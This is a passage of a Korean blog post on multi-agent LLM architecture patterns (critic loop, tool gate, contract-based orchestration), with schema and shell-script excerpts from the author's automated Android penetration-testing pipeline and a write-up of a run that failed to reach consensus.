&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;review.schema.json의 강제 필드:&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;json&quot;&gt;&lt;code&gt;{
  &quot;rebuttal_attempts&quot;: {
    &quot;type&quot;: &quot;array&quot;,
    &quot;minItems&quot;: 1,      // 반박 최소 1회
    &quot;items&quot;: {
      &quot;required&quot;: [&quot;hypothesis&quot;, &quot;test_steps&quot;, &quot;result&quot;]
    }
  },
  &quot;bypass_attempts&quot;: {
    &quot;type&quot;: &quot;array&quot;,
    &quot;minItems&quot;: 2,      // 우회 최소 2회
    &quot;items&quot;: {
      &quot;required&quot;: [&quot;blocked_logic&quot;, &quot;bypass_idea&quot;, &quot;result&quot;]
    }
  },
  &quot;additional_threats&quot;: {
    &quot;type&quot;: &quot;array&quot;,
    &quot;minItems&quot;: 2       // 추가 위협 최소 2건
  },
  &quot;new_vulnerability_hypotheses&quot;: {
    &quot;type&quot;: &quot;array&quot;,
    &quot;minItems&quot;: 3       // 신규 가설 최소 3건
  },
  &quot;verdict&quot;: {
    &quot;enum&quot;: [&quot;accepted&quot;, &quot;rejected&quot;, &quot;needs_more_evidence&quot;, &quot;need_more_evidence&quot;]
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;즉, Reviewer가 반박 0건으로 &quot;문제없음&quot;이라고 판정하는 것 자체가 &lt;b&gt;스키마 유효성 검사에서 실패&lt;/b&gt;합니다. 이 설계는 LLM 에이전트가 &quot;쉬운 길&quot;을 택하는 경향(lazy agreement)을 구조적으로 차단합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;gate-review.sh의 검증 로직:&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;# gate-review.sh 발췌: finding별 검증 요건 확인
for fid in $finding_ids; do
    # 재현 산출물(repro_commands 또는 repro_script_py) 존재 확인
    repro_commands_count=$(jq --arg fid &quot;$fid&quot; \
        '[.findings[] | select(.finding_id == $fid)][0].repro_commands | length' \
        &quot;$FINDING_FILE&quot;)

    if (( repro_commands_count &amp;lt; 1 &amp;amp;&amp;amp; repro_script_len &amp;lt; 1 )); then
        echo &quot;[FAIL] finding_id=$fid: reproducibility artifact missing&quot;
        fail=1
    fi

    # 리뷰 필수 요건 확인
    rebuttal_count=$(jq ... '.rebuttal_attempts | length' ...)
    bypass_count=$(jq ... '.bypass_attempts | length' ...)

    if (( rebuttal_count &amp;lt; 1 )); then
        echo &quot;[FAIL] finding_id=$fid: rebuttal_attempts must be &amp;gt;=1&quot;
        fail=1
    fi
    if (( bypass_count &amp;lt; 2 )); then
        echo &quot;[FAIL] finding_id=$fid: bypass_attempts must be &amp;gt;=2&quot;
        fail=1
    fi
done&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 스크립트는 finding과 review를 동시에 검사하여, &lt;b&gt;Finding 측의 재현 증거와 Review 측의 반박/우회 기록이 모두 충족&lt;/b&gt;되어야만 다음 단계로 진행을 허용합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;크리틱 루프의 강점과 한계&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;강점&lt;/b&gt;: 이 패턴은 LLM 에이전트의 과장(Hallucination)과 성급한 단정(Premature Conclusion)을 구조적으로 억제합니다. 실제로 Finder가 &quot;심각도 9.0 취약점&quot;이라고 보고해도, Reviewer가 반박과 우회를 시도한 결과 재현이 불가능하면 &lt;code&gt;needs_more_evidence&lt;/code&gt;로 판정되어 과장된 보고가 최종 산출물에 포함되지 않습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;한계&lt;/b&gt;: 크리틱 루프만으로는 &lt;b&gt;증거 부족의 원인&lt;/b&gt;을 해결할 수 없습니다. &lt;code&gt;needs_more_evidence&lt;/code&gt; 판정이 쌓이기만 하고, 왜 증거가 부족한지(동적 재현 환경의 제약인지, 명령어 형식의 문제인지, 디바이스 의존성인지)를 분해하지 못하면 루프가 같은 자리를 맴돕니다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;아키타입 3: 툴 게이트(Tool Gate) &amp;mdash; 스키마 검증 관문 패턴&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;개념&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;툴 게이트(Tool Gate)는 &lt;b&gt;에이전트의 출력이 사전 정의된 스키마&amp;middot;규격&amp;middot;검증 조건을 통과해야만 다음 단계로 이동할 수 있는 관문(Gate)&lt;/b&gt; 패턴입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 패턴은 소프트웨어 공학의 Quality Gate와 유사하지만, LLM 에이전트 시스템에서는 &lt;b&gt;비결정적 출력을 결정적 파이프라인에 적합시키는&lt;/b&gt; 핵심 메커니즘으로 작동합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;관련 연구와 프레임워크:&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;GIRA(Guarded Tool-Using LLM Agents for Incident Response)&lt;/b&gt;: OpenReview 2024. LLM과 도구 실행 사이에 게이트를 배치하여 정책 확인과 스키마 검증을 수행합니다. 스키마 전용 게이트만으로는 도구 출력 주입(Tool-Output Injection)에 취약하다는 점도 지적합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Microsoft Agent Framework 1.0의 FunctionMiddleware&lt;/b&gt;: 에이전트 턴 내에서 각 도구 호출마다 독립적으로 입력 검증, 결과 변환, 호출 감사를 수행합니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;LangGraph의 Guardrail 패턴&lt;/b&gt;: 구조화된 JSON 출력 스키마 검증을 다운스트림 전달 전에 수행합니다. &quot;잘못된 형식의 출력이 하류 서비스를 크래시시키는 것은 가드레일 실패이지 모델 실패가 아니다&quot;라고 규정합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;핵심 설계 원칙&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;게이트는 자동화되어야 한다&lt;/b&gt;: 사람이 수동으로 확인하는 것이 아니라, 스크립트가 JSON 스키마&amp;middot;필수 필드&amp;middot;수치 조건을 기계적으로 검증&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Fail-Fast 원칙&lt;/b&gt;: 게이트 미통과 시 즉시 피드백하여, 후속 단계에서의 누적 오류를 방지&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;게이트 통과 &amp;ne; 최종 승인&lt;/b&gt;: 개별 게이트 통과와 전체 파이프라인 합의는 분리해야 함&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;진단 파이프라인에서의 구현&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 파이프라인에는 두 단계의 게이트가 있습니다: &lt;b&gt;리뷰 게이트&lt;/b&gt;(&lt;code&gt;gate-review.sh&lt;/code&gt;)와 &lt;b&gt;합의 게이트&lt;/b&gt;(&lt;code&gt;check-consensus.sh&lt;/code&gt;).&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;게이트 1: 리뷰 게이트 &amp;mdash; 개별 finding의 품질 관문&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;gate-review.sh&lt;/code&gt;는 각 finding에 대해 다음을 검증합니다:&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;height: 134px;&quot; width=&quot;888&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;th style=&quot;height: 20px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;검증 항목&lt;/span&gt;&lt;/th&gt;
&lt;th style=&quot;height: 20px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;조건&lt;/span&gt;&lt;/th&gt;
&lt;th style=&quot;height: 20px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실패 시 결과&lt;/span&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;height: 19px; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;재현 산출물&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;repro_commands &amp;gt;= 1&lt;/code&gt; 또는 &lt;code&gt;repro_script_py&lt;/code&gt; 존재&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;게이트 실패&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;height: 19px; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;리뷰 존재&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;모든 finding_id에 대응하는 review 존재&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;게이트 실패&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;height: 19px; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;반박 시도&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;rebuttal_attempts &amp;gt;= 1&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;게이트 실패&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;height: 19px; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;우회 시도&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;bypass_attempts &amp;gt;= 2&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;게이트 실패&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;height: 19px; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;추가 위협&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;additional_threats &amp;gt;= 2&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;게이트 실패&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;height: 19px; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;신규 가설&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;new_vulnerability_hypotheses &amp;gt;= 3&lt;/code&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;게이트 실패&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;게이트를 통과하면 &lt;code&gt;PROMOTE_ON_PASS=1&lt;/code&gt;일 때 산출물이 &lt;code&gt;runs/{id}/final/&lt;/code&gt; 디렉터리로 승격됩니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;게이트 2: 합의 게이트 &amp;mdash; 전체 파이프라인의 최종 관문&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;# check-consensus.sh 핵심 로직
total_findings=$(jq '.findings | length' &quot;$FINDING_FILE&quot;)
accepted_count=$(jq '[.reviews[] | select(.verdict == &quot;accepted&quot;)] | length' \
    &quot;$REVIEW_FILE&quot;)

if (( accepted_count != total_findings )); then
    echo &quot;[FAIL] Consensus check failed: \
        accepted=$accepted_count total=$total_findings&quot;
    exit 1
fi

echo &quot;[PASS] Consensus reached: all findings accepted.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;합의 조건은 명확합니다: &lt;b&gt;모든 finding이 &lt;code&gt;accepted&lt;/code&gt; 상태여야만&lt;/b&gt; 합의 도달(&lt;code&gt;consensus.ok&lt;/code&gt;)입니다. 하나라도 &lt;code&gt;needs_more_evidence&lt;/code&gt;이면 합의 실패이며, &lt;code&gt;tmux-monitor.sh&lt;/code&gt;가 다음 라운드를 시작합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;bash&quot;&gt;&lt;code&gt;# tmux-monitor.sh 발췌: 합의 실패 시 다음 라운드 진행
if &quot;$ROOT_DIR/scripts/check-consensus.sh&quot; &quot;$RUN_ID&quot; \
    &quot;$finding_file&quot; &quot;$review_file&quot;; then
    touch &quot;$STATUS_DIR/consensus.ok&quot;
    echo &quot;[PASS] Consensus reached at round=$round&quot;
    exit 0
fi

needs_count=$(jq '[.reviews[] | select(.verdict == &quot;needs_more_evidence&quot; \
    or .verdict == &quot;need_more_evidence&quot;)] | length' &quot;$review_file&quot;)

if (( needs_count &amp;gt; 0 &amp;amp;&amp;amp; round &amp;lt; MAX_ROUNDS )); then
    echo &quot;[INFO] need(s)_more_evidence count=$needs_count. Next round.&quot;
    round=$((round + 1))
    continue
fi&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;실패 사례: 안드로이드 앱 진단 파이프라인 실행&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;필자가 실제 운용한 안드로이드 앱 대상 실행에서는 총 10개의 finding 중 7개가 &lt;code&gt;accepted&lt;/code&gt;, 3개가 &lt;code&gt;needs_more_evidence&lt;/code&gt;로 판정되어 4라운드까지 반복한 끝에 &lt;code&gt;consensus.fail&lt;/code&gt;로 종료되었습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;needs_more_evidence&lt;/code&gt;에 걸린 finding들의 공통 특징은 &lt;b&gt;정적 분석에서는 취약점이 명확하지만 동적 재현 산출물이 부족&lt;/b&gt;했다는 점입니다. 예를 들어, 코드 분석으로 민감 정보가 &lt;code&gt;onSaveInstanceState()&lt;/code&gt;에 평문으로 저장되는 것은 확인되었지만, 실제 기기에서 해당 데이터를 추출하는 재현 스크립트(&lt;code&gt;repro_commands&lt;/code&gt;)가 환경 의존적이어서 게이트를 통과하지 못한 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;span style=&quot;background-color: #ffc1c8;&quot;&gt;&lt;b&gt;시사점&lt;/b&gt;&lt;/span&gt;: 툴 게이트의 needs_more_evidence는 원인 분해 없이 &quot;더 증거를 모아라&quot;만 반복하면 같은 곳에서 멈춥니다. 증거 누락의 원인을 세분화(명령어 부재 / 환경 의존성 / 디바이스 조건)해야 다음 라운드에서 실질적 보완이 가능합니다.&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3개 아키타입의 협업: 계약 기반 오케스트레이션&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;실전에서는 위 3개 아키타입이 &lt;b&gt;독립적으로 쓰이는 것이 아니라 겹쳐서 동작&lt;/b&gt;합니다. 이들을 안정적으로 연결하는 것이 &lt;b&gt;4가지 계약 요소&lt;/b&gt;입니다.&lt;/span&gt;&lt;/p&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;계약 요소&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;역할&lt;/span&gt;&lt;/th&gt;
&lt;th&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;codex_pentest 구현&lt;/span&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;role_contract&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;에이전트의 역할&amp;middot;권한&amp;middot;제약 정의&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;ROLE_CORE.md&lt;/code&gt;를 SSOT로, &lt;code&gt;validate-role.sh&lt;/code&gt;가 모든 에이전트 설정과 해시 동기화 검증&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;tool_scopes&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;에이전트별 허용 도구&amp;middot;산출물 범위&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;agents/*/AGENTS.md&lt;/code&gt;에서 각각 정적/동적/리뷰 범위 한정&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;context_slice&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;라운드 간 전달되는 컨텍스트 범위&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;rounds/round-{n}/&lt;/code&gt;에 라운드별 findings/reviews 저장, 이전 리뷰를 다음 라운드 입력으로 주입&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;stop_conditions&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;파이프라인 종료 조건&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;code&gt;check-consensus.sh&lt;/code&gt;의 전원 accepted + &lt;code&gt;MAX_ROUNDS&lt;/code&gt; 상한 + 타임아웃&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 4가지 중 하나라도 무너지면 파이프라인이 불안정해집니다. 예를 들어:&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;role_contract 위반&lt;/b&gt;: 에이전트가 역할 범위를 벗어나 임의 추정을 하면 산출물 신뢰도가 하락&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;tool_scopes 위반&lt;/b&gt;: 정적 분석 에이전트가 ADB 명령을 실행하려 하면 재현성이 보장되지 않음&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;context_slice 누락&lt;/b&gt;: 이전 라운드 피드백이 전달되지 않으면 같은 실패가 반복&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;stop_conditions 모호&lt;/b&gt;: 합의 조건이 불명확하면 무한 루프 또는 조기 종료&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;마치며&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;멀티 에이전트 LLM 시스템은 &quot;에이전트를 몇 개 띄우면 된다&quot;가 아니라 &lt;b&gt;에이전트 간 업무 이양의 계약을 얼마나 견고하게 설계하느냐&lt;/b&gt;가 핵심입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 글에서 소개한 3가지 아키타입을 정리하면:&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;바톤패스&lt;/b&gt;: 순차적 산출물 이양. 컨텍스트 유실에 주의&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;크리틱 루프&lt;/b&gt;: 강제 반박을 통한 품질 향상. 수치화된 검증 요건 필요&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;툴 게이트&lt;/b&gt;: 스키마 검증 관문. 실패 원인의 세분화가 핵심&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;필자의 &lt;code&gt;취약점 진단 에이전트 팀&lt;/code&gt; 파이프라인은 이 세 패턴을 조합하여 모의해킹 자동화에 적용한 사례입니다. 4라운드까지 돌아간 끝에 실패한 경험에서 얻은 교훈은, &lt;b&gt;&quot;도구가 고장난 게 아니라 계약이 빠져 있었다&quot;&lt;/b&gt;는 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;멀티 에이전트 시스템을 설계할 때, 에이전트의 능력(어떤 LLM을 쓰느냐)보다 &lt;b&gt;에이전트 간 인터페이스(무엇을 어떤 형식으로 넘기고, 어떤 조건에서 멈추는가)&lt;/b&gt;에 더 많은 시간을 투자하시길 권합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;References&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Tran et al., &quot;Multi-Agent Collaboration Mechanisms: A Survey of LLMs&quot;, arXiv 2501.06322, 2025&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&quot;Agentic AI: Architectures, Taxonomies, and Evaluation of LLM Agents&quot;, arXiv 2601.12560, 2026&lt;/span&gt;&lt;/li&gt;
